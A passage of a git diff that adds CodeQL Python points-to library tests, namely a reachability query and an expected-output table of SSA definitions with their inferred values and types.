code/m_attributes.py:13 from import | +| m_attributes.py:10 | ControlFlowNode for other | runtime | +| m_attributes.py:12 | ControlFlowNode for Attribute | import | +| m_attributes.py:12 | ControlFlowNode for Attribute() | import | +| m_attributes.py:12 | ControlFlowNode for C | import | +| m_attributes.py:12 | ControlFlowNode for C() | import | +| m_attributes.py:13 | ControlFlowNode for Attribute | import | +| m_attributes.py:13 | ControlFlowNode for Attribute() | import | +| m_attributes.py:13 | ControlFlowNode for C | import | +| m_attributes.py:13 | ControlFlowNode for C() | import | +| m_attributes.py:13 | ControlFlowNode for IntegerLiteral | import | diff --git a/python/ql/test/library-tests/PointsTo/new/Reachable.ql b/python/ql/test/library-tests/PointsTo/new/Reachable.ql new file mode 100644 index 00000000000..60fccc308ee --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Reachable.ql @@ -0,0 +1,8 @@ + +import python +private import semmle.python.pointsto.PointsTo +import Util + +from ControlFlowNode f, Context ctx +where PointsTo::Test::reachableBlock(f.getBasicBlock(), ctx) +select locate(f.getLocation(), "m"), f.toString(), ctx diff --git a/python/ql/test/library-tests/PointsTo/new/SSA.expected b/python/ql/test/library-tests/PointsTo/new/SSA.expected new file mode 100644 index 00000000000..18df1e455dc --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SSA.expected @@ -0,0 +1,624 @@ +| __init__.py:0 | __name___0 = ScopeEntryDefinition | 'code' | builtin-class str | +| __init__.py:0 | __name___0 = ScopeEntryDefinition | 'code.package' | builtin-class str | +| __init__.py:0 | __name___0 = ScopeEntryDefinition | 'code.test_package' | builtin-class str | +| __init__.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| __init__.py:0 | module2_0 = ImplicitSubModuleDefinition | Module code.package.module2 | builtin-class module | +| __init__.py:0 | moduleX_0 = ImplicitSubModuleDefinition | Module code.package.moduleX | builtin-class module | +| __init__.py:0 | sys_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| __init__.py:1 | __name___1 = ImportStarRefinement(__name___0) | 'code.test_package' | builtin-class str | +| __init__.py:1 | __package___1 = ImportStarRefinement(__package___0) | *UNDEFINED* | *UNKNOWN TYPE* | +| __init__.py:1 | sys_1 = ImportStarRefinement(sys_0) | *UNDEFINED* | *UNKNOWN TYPE* | +| __init__.py:2 | __name___2 = ImportStarRefinement(__name___1) | 'code.test_package' | builtin-class str | +| __init__.py:2 | __package___2 = ImportStarRefinement(__package___1) | *UNDEFINED* | *UNKNOWN TYPE* | +| __init__.py:2 | module_0 = ImportMember | Function module | builtin-class function | +| __init__.py:3 | sys_2 = ImportExpr | Module sys | builtin-class module | +| __init__.py:4 | module3_0 = ImportMember | Module code.package.module2 | builtin-class module | +| __init__.py:5 | module2_1 = IntegerLiteral | int 7 | builtin-class int | +| __init__.py:6 | module4_0 = ImportMember | int 7 | builtin-class int | +| __init__.py:7 | module5_0 = ImportMember | Module code.package.module2 | builtin-class module | +| __init__.py:8 | moduleX_1 = ImportMember | Module code.package.moduleX | builtin-class module | +| a_simple.py:0 | __name___0 = ScopeEntryDefinition | 'code.a_simple' | builtin-class str | +| a_simple.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| a_simple.py:2 | f1_0 = FloatLiteral | float 1.0 | builtin-class float | +| a_simple.py:5 | i1_0 = IntegerLiteral | int 0 | builtin-class int | +| a_simple.py:6 | s_0 = Tuple | Tuple | builtin-class tuple | +| a_simple.py:8 | func_0 = FunctionExpr | Function func | builtin-class function | +| a_simple.py:11 | C_0 = ClassExpr | class C | builtin-class type | +| a_simple.py:14 | d_0 = ParameterDefinition | d | builtin-class dict | +| a_simple.py:14 | t_0 = ParameterDefinition | t | builtin-class tuple | +| a_simple.py:14 | vararg_kwarg_0 = FunctionExpr | Function vararg_kwarg | builtin-class function | +| a_simple.py:18 | multi_loop_0 = FunctionExpr | Function multi_loop | builtin-class function | +| a_simple.py:18 | y_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| a_simple.py:19 | x_0 = None | NoneType None | builtin-class NoneType | +| a_simple.py:20 | x_1 = phi(x_0, x_2) | NoneType None | builtin-class NoneType | +| a_simple.py:20 | y_1 = phi(y_0, y_2) | *UNDEFINED* | *UNKNOWN TYPE* | +| a_simple.py:23 | with_definition_0 = FunctionExpr | Function with_definition | builtin-class function | +| a_simple.py:27 | multi_loop_in_try_0 = FunctionExpr | Function multi_loop_in_try | builtin-class function | +| a_simple.py:27 | p_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| a_simple.py:27 | q_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| a_simple.py:29 | p_1 = phi(p_0, p_2) | *UNDEFINED* | *UNKNOWN TYPE* | +| a_simple.py:29 | q_1 = phi(q_0, q_2) | *UNDEFINED* | *UNKNOWN TYPE* | +| a_simple.py:34 | args_0 = ParameterDefinition | args | builtin-class tuple | +| a_simple.py:34 | f_0 = FunctionExpr | Function f | builtin-class function | +| a_simple.py:34 | kwargs_0 = ParameterDefinition | kwargs | builtin-class dict | +| b_condition.py:0 | __name___0 = ScopeEntryDefinition | 'code.b_condition' | builtin-class str | +| b_condition.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:0 | double_attr_check_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:0 | g_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:0 | h_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:0 | k_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:0 | loop_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:0 | not_or_not_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:0 | odasa6261_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:0 | split_bool1_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:0 | v2_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:4 | f_0 = FunctionExpr | Function f | builtin-class function | +| b_condition.py:5 | x_0 = IfExp | NoneType None | builtin-class NoneType | +| b_condition.py:8 | x_1 = IntegerLiteral | int 7 | builtin-class int | +| b_condition.py:9 | x_3 = phi(x_1, x_2) | int 7 | builtin-class int | +| b_condition.py:11 | x_4 = IfExp | NoneType None | builtin-class NoneType | +| b_condition.py:14 | x_5 = IntegerLiteral | int 7 | builtin-class int | +| b_condition.py:15 | x_6 = Pi(x_4) [false] | NoneType None | builtin-class NoneType | +| b_condition.py:15 | x_7 = phi(x_5, x_6) | NoneType None | builtin-class NoneType | +| b_condition.py:15 | x_7 = phi(x_5, x_6) | int 7 | builtin-class int | +| b_condition.py:17 | x_8 = IfExp | NoneType None | builtin-class NoneType | +| b_condition.py:20 | x_9 = None | NoneType None | builtin-class NoneType | +| b_condition.py:21 | x_11 = phi(x_9, x_10) | NoneType None | builtin-class NoneType | +| b_condition.py:23 | x_12 = IfExp | NoneType None | builtin-class NoneType | +| b_condition.py:25 | x_14 = IfExp | int 1 | builtin-class int | +| b_condition.py:26 | x_15 = ArgumentRefinement(x_14) | int 1 | builtin-class int | +| b_condition.py:28 | x_16 = IntegerLiteral | int 1 | builtin-class int | +| b_condition.py:29 | x_17 = phi(x_15, x_16) | int 1 | builtin-class int | +| b_condition.py:31 | x_18 = IfExp | int 1 | builtin-class int | +| b_condition.py:33 | x_19 = IntegerLiteral | int 7 | builtin-class int | +| b_condition.py:34 | x_20 = Pi(x_18) [false] | int 1 | builtin-class int | +| b_condition.py:34 | x_21 = phi(x_19, x_20) | int 1 | builtin-class int | +| b_condition.py:34 | x_21 = phi(x_19, x_20) | int 7 | builtin-class int | +| b_condition.py:34 | x_22 = ArgumentRefinement(x_21) | int 1 | builtin-class int | +| b_condition.py:34 | x_22 = ArgumentRefinement(x_21) | int 7 | builtin-class int | +| b_condition.py:36 | x_23 = ArgumentRefinement(x_22) | int 1 | builtin-class int | +| b_condition.py:36 | x_23 = ArgumentRefinement(x_22) | int 7 | builtin-class int | +| b_condition.py:36 | x_24 = Pi(x_23) [true] | int 1 | builtin-class int | +| b_condition.py:36 | x_24 = Pi(x_23) [true] | int 7 | builtin-class int | +| b_condition.py:37 | x_25 = ArgumentRefinement(x_24) | int 1 | builtin-class int | +| b_condition.py:37 | x_25 = ArgumentRefinement(x_24) | int 7 | builtin-class int | +| b_condition.py:50 | g_1 = FunctionExpr | Function g | builtin-class function | +| b_condition.py:55 | loop_1 = FunctionExpr | Function loop | builtin-class function | +| b_condition.py:55 | v_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:56 | v_2 = phi(v_0, v_1, v_5) | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:61 | double_attr_check_1 = FunctionExpr | Function double_attr_check | builtin-class function | +| b_condition.py:69 | h_1 = FunctionExpr | Function h | builtin-class function | +| b_condition.py:70 | b_0 = IfExp | bool True | builtin-class bool | +| b_condition.py:72 | b_1 = IntegerLiteral | int 7 | builtin-class int | +| b_condition.py:73 | b_2 = Pi(b_0) [false] | bool True | builtin-class bool | +| b_condition.py:73 | b_3 = phi(b_1, b_2) | bool True | builtin-class bool | +| b_condition.py:73 | b_3 = phi(b_1, b_2) | int 7 | builtin-class int | +| b_condition.py:75 | k_1 = FunctionExpr | Function k | builtin-class function | +| b_condition.py:76 | t_0 = type | builtin-class type | builtin-class type | +| b_condition.py:78 | t_1 = object | builtin-class object | builtin-class type | +| b_condition.py:79 | t_3 = phi(t_1, t_2) | builtin-class object | builtin-class type | +| b_condition.py:79 | t_4 = ArgumentRefinement(t_3) | builtin-class object | builtin-class type | +| b_condition.py:81 | bar_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:81 | bar_2 = phi(bar_0, bar_1) | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:81 | bar_2 = phi(bar_0, bar_1) | Function bar | builtin-class function | +| b_condition.py:81 | foo_0 = ParameterDefinition | bool True | builtin-class bool | +| b_condition.py:81 | foo_4 = Pi(foo_1) [false] | bool True | builtin-class bool | +| b_condition.py:81 | foo_5 = phi(foo_2, foo_4) | bool True | builtin-class bool | +| b_condition.py:81 | odasa6261_1 = FunctionExpr | Function odasa6261 | builtin-class function | +| b_condition.py:82 | foo_1 = ArgumentRefinement(foo_0) | bool True | builtin-class bool | +| b_condition.py:83 | bar_1 = FunctionExpr | Function bar | builtin-class function | +| b_condition.py:83 | foo_3 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| b_condition.py:87 | split_bool1_1 = FunctionExpr | Function split_bool1 | builtin-class function | +| b_condition.py:87 | x_0 = ParameterDefinition | NoneType None | builtin-class NoneType | +| b_condition.py:87 | y_0 = ParameterDefinition | NoneType None | builtin-class NoneType | +| b_condition.py:90 | x_4 = Pi(x_0) [false] | NoneType None | builtin-class NoneType | +| b_condition.py:90 | x_5 = SingleSuccessorGuard(x_4) [false] | NoneType None | builtin-class NoneType | +| b_condition.py:90 | y_4 = Pi(y_0) [false] | NoneType None | builtin-class NoneType | +| b_condition.py:92 | x_2 = SingleSuccessorGuard(x_5) [false] | NoneType None | builtin-class NoneType | +| b_condition.py:93 | y_5 = ArgumentRefinement(y_4) | NoneType None | builtin-class NoneType | +| b_condition.py:96 | y_6 = SingleSuccessorGuard(y_5) [false] | NoneType None | builtin-class NoneType | +| b_condition.py:97 | x_3 = ArgumentRefinement(x_2) | NoneType None | builtin-class NoneType | +| b_condition.py:101 | a_0 = ParameterDefinition | a | builtin-class tuple | +| b_condition.py:101 | not_or_not_1 = FunctionExpr | Function not_or_not | builtin-class function | +| b_condition.py:102 | a_1 = ArgumentRefinement(a_0) | a | builtin-class tuple | +| b_condition.py:104 | a_2 = Pi(a_1) [false] | a | builtin-class tuple | +| b_condition.py:105 | a_3 = Pi(a_2) [false] | a | builtin-class tuple | +| b_condition.py:107 | a_4 = Pi(a_3) [false] | a | builtin-class tuple | +| c_tests.py:0 | __name___0 = ScopeEntryDefinition | 'code.c_tests' | builtin-class str | +| c_tests.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| c_tests.py:4 | f_0 = FunctionExpr | Function f | builtin-class function | +| c_tests.py:5 | x_0 = IfExp | NoneType None | builtin-class NoneType | +| c_tests.py:10 | x_1 = IfExp | int 0 | builtin-class int | +| c_tests.py:10 | x_1 = IfExp | int 1 | builtin-class int | +| c_tests.py:15 | x_2 = IfExp | int 0 | builtin-class int | +| c_tests.py:15 | x_2 = IfExp | int 1 | builtin-class int | +| c_tests.py:21 | x_3 = IfExp | List | builtin-class list | +| c_tests.py:21 | x_3 = IfExp | Tuple | builtin-class tuple | +| c_tests.py:23 | x_4 = ArgumentRefinement(x_3) | List | builtin-class list | +| c_tests.py:23 | x_4 = ArgumentRefinement(x_3) | Tuple | builtin-class tuple | +| c_tests.py:24 | x_5 = Pi(x_4) [true] | List | builtin-class list | +| c_tests.py:24 | x_5 = Pi(x_4) [true] | Tuple | builtin-class tuple | +| c_tests.py:26 | x_7 = phi(x_5, x_6) | List | builtin-class list | +| c_tests.py:26 | x_7 = phi(x_5, x_6) | Tuple | builtin-class tuple | +| c_tests.py:26 | x_8 = ArgumentRefinement(x_7) | List | builtin-class list | +| c_tests.py:26 | x_8 = ArgumentRefinement(x_7) | Tuple | builtin-class tuple | +| c_tests.py:27 | x_9 = Pi(x_8) [true] | List | builtin-class list | +| c_tests.py:27 | x_9 = Pi(x_8) [true] | Tuple | builtin-class tuple | +| c_tests.py:29 | x_10 = Pi(x_8) [false] | Tuple | builtin-class tuple | +| c_tests.py:29 | x_11 = phi(x_9, x_10) | List | builtin-class list | +| c_tests.py:29 | x_11 = phi(x_9, x_10) | Tuple | builtin-class tuple | +| c_tests.py:29 | x_12 = ArgumentRefinement(x_11) | List | builtin-class list | +| c_tests.py:29 | x_12 = ArgumentRefinement(x_11) | Tuple | builtin-class tuple | +| c_tests.py:30 | x_13 = Pi(x_12) [true] | Tuple | builtin-class tuple | +| c_tests.py:32 | x_14 = Pi(x_12) [false] | List | builtin-class list | +| c_tests.py:32 | x_15 = phi(x_13, x_14) | List | builtin-class list | +| c_tests.py:32 | x_15 = phi(x_13, x_14) | Tuple | builtin-class tuple | +| c_tests.py:56 | others_0 = FunctionExpr | Function others | builtin-class function | +| c_tests.py:56 | x_8 = Pi(x_6) [false] | int 0 | builtin-class int | +| c_tests.py:56 | x_9 = phi(x_7, x_8) | builtin-class float | builtin-class type | +| c_tests.py:56 | x_9 = phi(x_7, x_8) | int 0 | builtin-class int | +| c_tests.py:58 | x_0 = IfExp | builtin-class bool | builtin-class type | +| c_tests.py:58 | x_0 = IfExp | builtin-class type | builtin-class type | +| c_tests.py:63 | x_1 = IfExp | builtin-class float | builtin-class type | +| c_tests.py:63 | x_1 = IfExp | int 0 | builtin-class int | +| c_tests.py:65 | x_2 = ArgumentRefinement(x_1) | builtin-class float | builtin-class type | +| c_tests.py:65 | x_2 = ArgumentRefinement(x_1) | int 0 | builtin-class int | +| c_tests.py:66 | x_3 = Pi(x_2) [true] | int 0 | builtin-class int | +| c_tests.py:68 | x_4 = Pi(x_2) [false] | builtin-class float | builtin-class type | +| c_tests.py:68 | x_5 = phi(x_3, x_4) | builtin-class float | builtin-class type | +| c_tests.py:68 | x_5 = phi(x_3, x_4) | int 0 | builtin-class int | +| c_tests.py:68 | x_6 = ArgumentRefinement(x_5) | builtin-class float | builtin-class type | +| c_tests.py:68 | x_6 = ArgumentRefinement(x_5) | int 0 | builtin-class int | +| c_tests.py:69 | x_7 = Pi(x_6) [true] | builtin-class float | builtin-class type | +| c_tests.py:71 | compound_0 = FunctionExpr | Function compound | builtin-class function | +| c_tests.py:71 | x_0 = ParameterDefinition | int 1 | builtin-class int | +| c_tests.py:71 | y_0 = ParameterDefinition | int 0 | builtin-class int | +| c_tests.py:71 | y_5 = Pi(y_0) [false] | int 0 | builtin-class int | +| c_tests.py:71 | y_6 = phi(y_4, y_5) | int 0 | builtin-class int | +| c_tests.py:74 | x_2 = Pi(x_0) [true] | int 1 | builtin-class int | +| c_tests.py:76 | x_3 = SingleSuccessorGuard(x_2) [true] | int 1 | builtin-class int | +| c_tests.py:76 | y_2 = Pi(y_0) [false] | int 0 | builtin-class int | +| c_tests.py:76 | y_3 = phi(y_1, y_2) | int 0 | builtin-class int | +| c_tests.py:79 | h_0 = FunctionExpr | Function h | builtin-class function | +| c_tests.py:79 | x_4 = phi(x_2, x_3) | NoneType None | builtin-class NoneType | +| c_tests.py:80 | b_0 = IfExp | bool True | builtin-class bool | +| c_tests.py:83 | b_1 = IfExp | bool True | builtin-class bool | +| c_tests.py:87 | b_3 = Pi(b_1) [false] | bool True | builtin-class bool | +| c_tests.py:87 | b_4 = phi(b_2, b_3) | bool True | builtin-class bool | +| c_tests.py:90 | x_0 = IfExp | NoneType None | builtin-class NoneType | +| c_tests.py:94 | x_1 = IfExp | NoneType None | builtin-class NoneType | +| c_tests.py:96 | x_2 = Pi(x_1) [true] | NoneType None | builtin-class NoneType | +| c_tests.py:98 | complex_test_0 = FunctionExpr | Function complex_test | builtin-class function | +| d_globals.py:0 | D_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | Ugly_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | X_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | __name___0 = ScopeEntryDefinition | 'code.d_globals' | builtin-class str | +| d_globals.py:0 | __package___0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | dict_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | g3_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | g4_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | get_g4_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | glob_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | k_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | modinit_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | outer_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | redefine_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | set_g4_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | set_g4_indirect_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | tuple_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | use_list_attribute_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | x_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | y_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:0 | z_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:2 | dict_2 = ScopeEntryDefinition | int 7 | builtin-class int | +| d_globals.py:2 | g1_2 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:2 | g2_2 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:2 | g3_2 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:2 | g4_1 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:2 | glob_2 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:2 | j_0 = FunctionExpr | Function j | builtin-class function | +| d_globals.py:2 | tuple_2 = ScopeEntryDefinition | builtin-class tuple | builtin-class type | +| d_globals.py:2 | z_2 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:5 | dict_1 = IntegerLiteral | int 7 | builtin-class int | +| d_globals.py:7 | tuple_1 = tuple | builtin-class tuple | builtin-class type | +| d_globals.py:14 | g1_0 = None | NoneType None | builtin-class NoneType | +| d_globals.py:16 | assign_global_0 = FunctionExpr | Function assign_global | builtin-class function | +| d_globals.py:16 | g2_3 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:16 | g3_3 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:16 | g4_2 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:16 | glob_3 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:16 | z_3 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:18 | g1_3 = IntegerLiteral | int 101 | builtin-class int | +| d_globals.py:23 | g2_0 = None | NoneType None | builtin-class NoneType | +| d_globals.py:25 | g1_4 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:25 | g3_4 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:25 | g3_4 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:25 | g4_3 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:25 | g4_3 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:25 | glob_4 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:25 | init_0 = FunctionExpr | Function init | builtin-class function | +| d_globals.py:25 | z_4 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:27 | g2_4 = IntegerLiteral | int 102 | builtin-class int | +| d_globals.py:29 | g1_1 = CallsiteRefinement(g1_0) | NoneType None | builtin-class NoneType | +| d_globals.py:29 | g2_1 = CallsiteRefinement(g2_0) | int 102 | builtin-class int | +| d_globals.py:29 | glob_1 = CallsiteRefinement(glob_0) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:29 | z_1 = CallsiteRefinement(z_0) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:33 | g3_1 = None | NoneType None | builtin-class NoneType | +| d_globals.py:35 | Ugly_1 = ClassExpr | class Ugly | builtin-class type | +| d_globals.py:37 | __init___0 = FunctionExpr | Function __init__ | builtin-class function | +| d_globals.py:37 | g1_5 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:37 | g2_5 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:37 | g4_4 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:37 | glob_5 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:37 | self_0 = ParameterDefinition | self | class Ugly | +| d_globals.py:37 | z_5 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:39 | g3_5 = IntegerLiteral | int 103 | builtin-class int | +| d_globals.py:41 | g1_6 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:41 | g2_6 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:41 | g3_6 = ScopeEntryDefinition | int 103 | builtin-class int | +| d_globals.py:41 | g4_5 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:41 | glob_6 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:41 | meth_0 = FunctionExpr | Function meth | builtin-class function | +| d_globals.py:41 | self_0 = ParameterDefinition | self | class Ugly | +| d_globals.py:41 | z_6 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:46 | x_1 = IntegerLiteral | int 1 | builtin-class int | +| d_globals.py:49 | x_2 = IntegerLiteral | int 3 | builtin-class int | +| d_globals.py:51 | x_3 = phi(x_1, x_2) | int 1 | builtin-class int | +| d_globals.py:51 | x_3 = phi(x_1, x_2) | int 3 | builtin-class int | +| d_globals.py:52 | y_1 = IntegerLiteral | int 1 | builtin-class int | +| d_globals.py:54 | y_2 = IntegerLiteral | int 2 | builtin-class int | +| d_globals.py:59 | y_3 = phi(y_1, y_2) | int 1 | builtin-class int | +| d_globals.py:59 | y_3 = phi(y_1, y_2) | int 2 | builtin-class int | +| d_globals.py:62 | X_1 = ClassExpr | class X | builtin-class type | +| d_globals.py:62 | X_2 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:62 | g3_7 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:62 | y_0 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:62 | y_4 = ScopeEntryDefinition | int 1 | builtin-class int | +| d_globals.py:62 | y_4 = ScopeEntryDefinition | int 2 | builtin-class int | +| d_globals.py:63 | y_1 = y | int 1 | builtin-class int | +| d_globals.py:63 | y_1 = y | int 2 | builtin-class int | +| d_globals.py:70 | g1_7 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:70 | g2_7 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:70 | g3_8 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:70 | g4_7 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:70 | glob_7 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:70 | k_1 = FunctionExpr | Function k | builtin-class function | +| d_globals.py:70 | z_7 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:73 | g4_6 = None | NoneType None | builtin-class NoneType | +| d_globals.py:75 | g1_8 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:75 | g2_8 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:75 | g3_9 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:75 | g4_8 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:75 | get_g4_1 = FunctionExpr | Function get_g4 | builtin-class function | +| d_globals.py:75 | glob_8 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:75 | set_g4_2 = ScopeEntryDefinition | Function set_g4 | builtin-class function | +| d_globals.py:75 | z_8 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:77 | g1_9 = CallsiteRefinement(g1_8) | NoneType None | builtin-class NoneType | +| d_globals.py:77 | g2_9 = CallsiteRefinement(g2_8) | int 102 | builtin-class int | +| d_globals.py:77 | g3_10 = CallsiteRefinement(g3_9) | NoneType None | builtin-class NoneType | +| d_globals.py:77 | g4_9 = Pi(g4_8) [true] | NoneType None | builtin-class NoneType | +| d_globals.py:77 | g4_10 = CallsiteRefinement(g4_9) | bool False | builtin-class bool | +| d_globals.py:77 | glob_9 = CallsiteRefinement(glob_8) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:77 | z_9 = CallsiteRefinement(z_8) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:78 | g1_10 = phi(g1_8, g1_9) | NoneType None | builtin-class NoneType | +| d_globals.py:78 | g2_10 = phi(g2_8, g2_9) | int 102 | builtin-class int | +| d_globals.py:78 | g3_11 = phi(g3_9, g3_10) | NoneType None | builtin-class NoneType | +| d_globals.py:78 | g4_12 = phi(g4_10, g4_11) | bool False | builtin-class bool | +| d_globals.py:78 | glob_10 = phi(glob_8, glob_9) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:78 | z_10 = phi(z_8, z_9) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:80 | g1_11 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:80 | g2_11 = ScopeEntryDefinition | int 102 | builtin-class int | +| d_globals.py:80 | g3_12 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:80 | g4_13 = ScopeEntryDefinition | NoneType None | builtin-class NoneType | +| d_globals.py:80 | glob_11 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:80 | set_g4_1 = FunctionExpr | Function set_g4 | builtin-class function | +| d_globals.py:80 | set_g4_indirect_2 = ScopeEntryDefinition | Function set_g4_indirect | builtin-class function | +| d_globals.py:80 | z_11 = ScopeEntryDefinition | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:81 | g1_12 = CallsiteRefinement(g1_11) | NoneType None | builtin-class NoneType | +| d_globals.py:81 | g2_12 = CallsiteRefinement(g2_11) | int 102 | builtin-class int | +| d_globals.py:81 | g3_13 = CallsiteRefinement(g3_12) | NoneType None | builtin-class NoneType | +| d_globals.py:81 | g4_14 = CallsiteRefinement(g4_13) | bool False | builtin-class bool | +| d_globals.py:81 | glob_12 = CallsiteRefinement(glob_11) | *UNDEFINED* | *UNKNOWN TYPE* | +| d_globals.py:81 